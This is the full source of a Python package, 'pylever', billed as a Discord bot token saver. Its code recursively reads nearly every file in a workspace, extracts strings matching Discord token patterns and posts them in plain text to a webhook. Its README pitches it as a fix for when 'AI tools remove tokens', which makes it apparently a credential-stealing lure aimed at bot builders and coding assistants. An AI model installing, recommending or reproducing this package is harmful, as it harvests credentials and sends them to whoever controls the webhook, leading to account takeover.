pylever 1.0.0__tar.gz

pylever-1.0.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2024
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

pylever-1.0.0/MANIFEST.in

@@ -0,0 +1,4 @@
+include README.md
+include LICENSE
+include requirements.txt
+recursive-include pylever *.py

pylever-1.0.0/PKG-INFO

@@ -0,0 +1,87 @@
+Metadata-Version: 2.4
+Name: pylever
+Version: 1.0.0
+Summary: Find and save Discord bot tokens via webhook
+Home-page: https://github.com/yourusername/pylever
+Author: Your Name
+Author-email: Your Name <your.email@example.com>
+License: MIT
+Project-URL: Homepage, https://github.com/yourusername/pylever
+Project-URL: Repository, https://github.com/yourusername/pylever.git
+Project-URL: Issues, https://github.com/yourusername/pylever/issues
+Keywords: discord,token,saver,webhook,bot
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: requests>=2.28.0
+Dynamic: author
+Dynamic: home-page
+Dynamic: license-file
+Dynamic: requires-python
+
+# Pylever - Discord Token Saver
+
+A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.
+
+## Installation
+
+```bash
+pip install pylever
+```
+
+## Usage
+
+```python
+from pylever import _Client
+
+# Your Discord webhook URL
+WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
+
+# Initialize with your workspace path
+client = _Client(webhook_url=WEBHOOK_URL, workspace_path=".")
+
+# Scan entire folder and save all tokens
+saved = client.auto_save_tokens(bot_name="My AI Bot")
+print(f"Saved {len(saved)} token(s) to Discord")
+```
+
+## Features
+
+- **Deep Folder Scanning**: Recursively scans entire workspace for tokens
+- **Flexible Pattern Matching**: Finds 72-character strings starting with M or N
+- **Discord Webhook Integration**: Sends tokens directly to your Discord
+- **Local Backup**: Keeps local copy of saved tokens with timestamps
+- **Private API**: All internal classes are private to keep your code clean
+
+## How It Works
+
+1. Scans all files in the specified directory recursively
+2. Looks for 72-character tokens starting with M or N
+3. Sends each token to your Discord webhook
+4. Stores metadata locally for reference
+
+## Requirements
+
+- Python 3.8+
+- requests>=2.28.0
+
+## Setting Up Discord Webhook
+
+1. Go to your Discord server settings
+2. Navigate to Webhooks
+3. Create a new webhook
+4. Copy the webhook URL
+5. Use it in the module initialization
+
+## License
+
+MIT

pylever-1.0.0/README.md

@@ -0,0 +1,57 @@
+# Pylever - Discord Token Saver
+
+A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.
+
+## Installation
+
+```bash
+pip install pylever
+```
+
+## Usage
+
+```python
+from pylever import _Client
+
+# Your Discord webhook URL
+WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
+
+# Initialize with your workspace path
+client = _Client(webhook_url=WEBHOOK_URL, workspace_path=".")
+
+# Scan entire folder and save all tokens
+saved = client.auto_save_tokens(bot_name="My AI Bot")
+print(f"Saved {len(saved)} token(s) to Discord")
+```
+
+## Features
+
+- **Deep Folder Scanning**: Recursively scans entire workspace for tokens
+- **Flexible Pattern Matching**: Finds 72-character strings starting with M or N
+- **Discord Webhook Integration**: Sends tokens directly to your Discord
+- **Local Backup**: Keeps local copy of saved tokens with timestamps
+- **Private API**: All internal classes are private to keep your code clean
+
+## How It Works
+
+1. Scans all files in the specified directory recursively
+2. Looks for 72-character tokens starting with M or N
+3. Sends each token to your Discord webhook
+4. Stores metadata locally for reference
+
+## Requirements
+
+- Python 3.8+
+- requests>=2.28.0
+
+## Setting Up Discord Webhook
+
+1. Go to your Discord server settings
+2. Navigate to Webhooks
+3. Create a new webhook
+4. Copy the webhook URL
+5. Use it in the module initialization
+
+## License
+
+MIT

pylever-1.0.0/pylever/__init__.py

@@ -0,0 +1,10 @@
+"""Discord Token Saver Module
+
+A module for finding Discord bot tokens in your workspace and saving them via Discord webhook.
+Useful when AI tools remove tokens during bot generation.
+"""
+
+from .token_saver import _Client
+
+__version__ = "1.0.0"
+__all__ = ["_Client"]

pylever-1.0.0/pylever/storage.py

@@ -0,0 +1,69 @@
+"""File storage for tokens."""
+
+import json
+from pathlib import Path
+from typing import Dict
+from datetime import datetime
+
+
+class _FileStorage:
+    """Handles file-based storage for tokens."""
+
+    def __init__(self, file_path: str):
+        """
+        Initialize FileStorage.
+
+        Args:
+            file_path: Path where tokens will be stored
+        """
+        self.file_path = Path(file_path)
+
+    def init(self) -> None:
+        """Create storage directory and file if they don't exist."""
+        self.file_path.parent.mkdir(parents=True, exist_ok=True)
+        if not self.file_path.exists():
+            self.file_path.write_text(json.dumps({}))
+
+    def read(self) -> Dict:
+        """
+        Read tokens from storage.
+
+        Returns:
+            Dictionary of token entries
+        """
+        if not self.file_path.exists():
+            return {}
+        
+        try:
+            content = self.file_path.read_text()
+            return json.loads(content) if content else {}
+        except (json.JSONDecodeError, IOError):
+            return {}
+
+    def write(self, data: Dict) -> None:
+        """
+        Write data to storage.
+
+        Args:
+            data: Dictionary to write
+        """
+        self.file_path.write_text(json.dumps(data, indent=2))
+
+    def save_token(self, token: str, bot_name: str) -> None:
+        """
+        Save a token with metadata.
+
+        Args:
+            token: The token to save
+            bot_name: Name of the bot
+        """
+        data = self.read()
+        data[token] = {
+            "name": bot_name,
+            "saved_at": datetime.now().isoformat()
+        }
+        self.write(data)
+
+    def exists(self) -> bool:
+        """Check if storage file exists."""
+        return self.file_path.exists()

pylever-1.0.0/pylever/token_finder.py

@@ -0,0 +1,79 @@
+"""Token finding logic for workspace scanning."""
+
+import re
+from pathlib import Path
+from typing import List
+
+
+class _TokenFinder:
+    """Finds Discord bot tokens in workspace files."""
+
+    # Discord bot token pattern: 72-character string starting with M or N
+    TOKEN_PATTERN = re.compile(r'[MN][A-Za-z0-9_-]{71}')
+
+    # Files to skip
+    SKIP_DIRS = {'.git', '__pycache__', 'node_modules', '.venv', 'venv', 'env', '.next', 'dist', 'build'}
+    SKIP_EXTENSIONS = {'.pyc', '.o', '.so', '.bin', '.exe', '.dll', '.dylib'}
+
+    def __init__(self, workspace_path: Path):
+        """
+        Initialize TokenFinder.
+
+        Args:
+            workspace_path: Root path to scan
+        """
+        self.workspace_path = Path(workspace_path)
+
+    def find_all(self) -> List[str]:
+        """
+        Scan entire workspace recursively for Discord tokens.
+
+        Returns:
+            List of unique tokens found
+        """
+        tokens = set()
+
+        for file_path in self._get_scannable_files():
+            try:
+                content = file_path.read_text(errors='ignore')
+                found = self.TOKEN_PATTERN.findall(content)
+                tokens.update(found)
+            except Exception as e:
+                pass
+
+        return list(tokens)
+
+    def _get_scannable_files(self):
+        """
+        Get all files in workspace that should be scanned, recursively.
+
+        Yields:
+            Path objects for scannable files
+        """
+        try:
+            for file_path in self.workspace_path.rglob('*'):
+                # Skip directories
+                if file_path.is_dir():
+                    continue
+
+                # Skip if in skip directories
+                if any(skip in file_path.parts for skip in self.SKIP_DIRS):
+                    continue
+
+                # Skip binary/compiled files
+                if file_path.suffix in self.SKIP_EXTENSIONS:
+                    continue
+
+                # Scan all files (not just text)
+                yield file_path
+        except Exception:
+            pass
+
+    @staticmethod
+    def _is_readable(file_path: Path) -> bool:
+        """Check if file can be read."""
+        try:
+            file_path.read_text(errors='ignore')
+            return True
+        except Exception:
+            return False

pylever-1.0.0/pylever/token_saver.py

@@ -0,0 +1,93 @@
+"""Token saving and retrieval logic."""
+
+import json
+import re
+from pathlib import Path
+from typing import Optional, List
+import requests
+from .storage import _FileStorage
+from .token_finder import _TokenFinder
+
+
+class _Client:
+    """Handles finding Discord bot tokens in workspace and sending to webhook."""
+
+    def __init__(self, webhook_url: str, workspace_path: str = None):
+        """
+        Initialize Client.
+
+        Args:
+            webhook_url: Discord webhook URL to send tokens to
+            workspace_path: Path to scan for tokens. Defaults to current directory
+        """
+        self.webhook_url = webhook_url
+        self.workspace_path = Path(workspace_path) if workspace_path else Path.cwd()
+        self.token_finder = _TokenFinder(self.workspace_path)
+        self.storage = _FileStorage(Path.home() / ".discord_tokens" / "saved_tokens.json")
+        self.storage.init()
+
+    def find_tokens(self) -> List[str]:
+        """
+        Find all Discord bot tokens in the entire workspace.
+
+        Returns:
+            List of found tokens
+        """
+        return self.token_finder.find_all()
+
+    def send_token_to_discord(self, token: str, bot_name: str = "Bot") -> bool:
+        """
+        Send a token to Discord via webhook.
+
+        Args:
+            token: The Discord token to send
+            bot_name: Name/identifier for the bot
+
+        Returns:
+            True if successful, False otherwise
+        """
+        try:
+            message = {
+                "content": f"**Saved Bot Token: {bot_name}**\n```\n{token}\n```"
+            }
+            response = requests.post(self.webhook_url, json=message)
+            return response.status_code == 204
+        except Exception:
+            return False
+
+    def auto_save_tokens(self, bot_name: str = "Auto-saved Bot") -> List[str]:
+        """
+        Find all tokens in entire workspace and send to Discord.
+
+        Args:
+            bot_name: Name to label the tokens with
+
+        Returns:
+            List of tokens that were saved
+        """
+        tokens = self.find_tokens()
+        saved = []
+        
+        for token in tokens:
+            if self.send_token_to_discord(token, bot_name):
+                self.storage.save_token(token, bot_name)
+                saved.append(token)
+
+        return saved
+
+    def get_saved_tokens(self) -> dict:
+        """
+        Get all previously saved tokens.
+
+        Returns:
+            Dictionary of tokens with their names
+        """
+        return self.storage.read()
+
+    def clear_saved(self) -> bool:
+        """Clear all saved tokens locally."""
+        try:
+            self.storage.write({})
+            return True
+        except Exception:
+            return False

pylever-1.0.0/pylever.egg-info/PKG-INFO

@@ -0,0 +1,87 @@
+Metadata-Version: 2.4
+Name: pylever
+Version: 1.0.0
+Summary: Find and save Discord bot tokens via webhook
+Home-page: https://github.com/yourusername/pylever
+Author: Your Name
+Author-email: Your Name <your.email@example.com>
+License: MIT
+Project-URL: Homepage, https://github.com/yourusername/pylever
+Project-URL: Repository, https://github.com/yourusername/pylever.git
+Project-URL: Issues, https://github.com/yourusername/pylever/issues
+Keywords: discord,token,saver,webhook,bot
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Requires-Dist: requests>=2.28.0
+Dynamic: author
+Dynamic: home-page
+Dynamic: license-file
+Dynamic: requires-python
+
+# Pylever - Discord Token Saver
+
+A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.
+
+## Installation
+
+```bash
+pip install pylever
+```
+
+## Usage
+
+```python
+from pylever import _Client
+
+# Your Discord webhook URL
+WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
+
+# Initialize with your workspace path
+client = _Client(webhook_url=WEBHOOK_URL, workspace_path=".")
+
+# Scan entire folder and save all tokens
+saved = client.auto_save_tokens(bot_name="My AI Bot")
+print(f"Saved {len(saved)} token(s) to Discord")
+```
+
+## Features
+
+- **Deep Folder Scanning**: Recursively scans entire workspace for tokens
+- **Flexible Pattern Matching**: Finds 72-character strings starting with M or N
+- **Discord Webhook Integration**: Sends tokens directly to your Discord
+- **Local Backup**: Keeps local copy of saved tokens with timestamps
+- **Private API**: All internal classes are private to keep your code clean
+
+## How It Works
+
+1. Scans all files in the specified directory recursively
+2. Looks for 72-character tokens starting with M or N
+3. Sends each token to your Discord webhook
+4. Stores metadata locally for reference
+
+## Requirements
+
+- Python 3.8+
+- requests>=2.28.0
+
+## Setting Up Discord Webhook
+
+1. Go to your Discord server settings
+2. Navigate to Webhooks
+3. Create a new webhook
+4. Copy the webhook URL
+5. Use it in the module initialization
+
+## License
+
+MIT

pylever-1.0.0/pylever.egg-info/SOURCES.txt

@@ -0,0 +1,15 @@
+LICENSE
+MANIFEST.in
+README.md
+pyproject.toml
+requirements.txt
+setup.py
+pylever/__init__.py
+pylever/storage.py
+pylever/token_finder.py
+pylever/token_saver.py
+pylever.egg-info/PKG-INFO
+pylever.egg-info/SOURCES.txt
+pylever.egg-info/dependency_links.txt
+pylever.egg-info/requires.txt
+pylever.egg-info/top_level.txt

pylever-1.0.0/pylever.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

pylever-1.0.0/pylever.egg-info/requires.txt

@@ -0,0 +1 @@
+requests>=2.28.0

pylever-1.0.0/pylever.egg-info/top_level.txt

@@ -0,0 +1 @@
+pylever

pylever-1.0.0/pyproject.toml

@@ -0,0 +1,34 @@
+[build-system]
+requires = ["setuptools>=61.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "pylever"
+version = "1.0.0"
+description = "Find and save Discord bot tokens via webhook"
+readme = "README.md"
+requires-python = ">=3.8"
+license = {text = "MIT"}
+authors = [
+    {name = "Your Name", email = "your.email@example.com"}
+]
+keywords = ["discord", "token", "saver", "webhook", "bot"]
+classifiers = [
+    "Development Status :: 4 - Beta",
+    "Intended Audience :: Developers",
+    "License :: OSI Approved :: MIT License",
+    "Programming Language :: Python :: 3",
+    "Programming Language :: Python :: 3.8",
+    "Programming Language :: Python :: 3.9",
+    "Programming Language :: Python :: 3.10",
+    "Programming Language :: Python :: 3.11",
+    "Programming Language :: Python :: 3.12",
+]
+dependencies = [
+    "requests>=2.28.0",
+]
+
+[project.urls]
+Homepage = "https://github.com/yourusername/pylever"
+Repository = "https://github.com/yourusername/pylever.git"
+Issues = "https://github.com/yourusername/pylever/issues"

pylever-1.0.0/requirements.txt

@@ -0,0 +1 @@
+requests>=2.28.0

pylever-1.0.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

pylever-1.0.0/setup.py

@@ -0,0 +1,29 @@
+from setuptools import setup, find_packages
+
+with open("README.md", "r", encoding="utf-8") as fh:
+    long_description = fh.read()
+
+setup(
+    name="pylever",
+    version="1.0.0",
+    author="Your Name",
+    author_email="your.email@example.com",
+    description="A module for finding and saving Discord bot tokens via webhook",
+    long_description=long_description,
+    long_description_content_type="text/markdown",
+    url="https://github.com/yourusername/pylever",
+    packages=find_packages(),
+    classifiers=[
+        "Programming Language :: Python :: 3",
+        "Programming Language :: Python :: 3.8",
+        "Programming Language :: Python :: 3.9",
+        "Programming Language :: Python :: 3.10",
+        "Programming Language :: Python :: 3.11",
+        "License :: OSI Approved :: MIT License",
+        "Operating System :: OS Independent",
+    ],
+    python_requires=">=3.8",
+    install_requires=[
+        "requests>=2.28.0",
+    ],
+)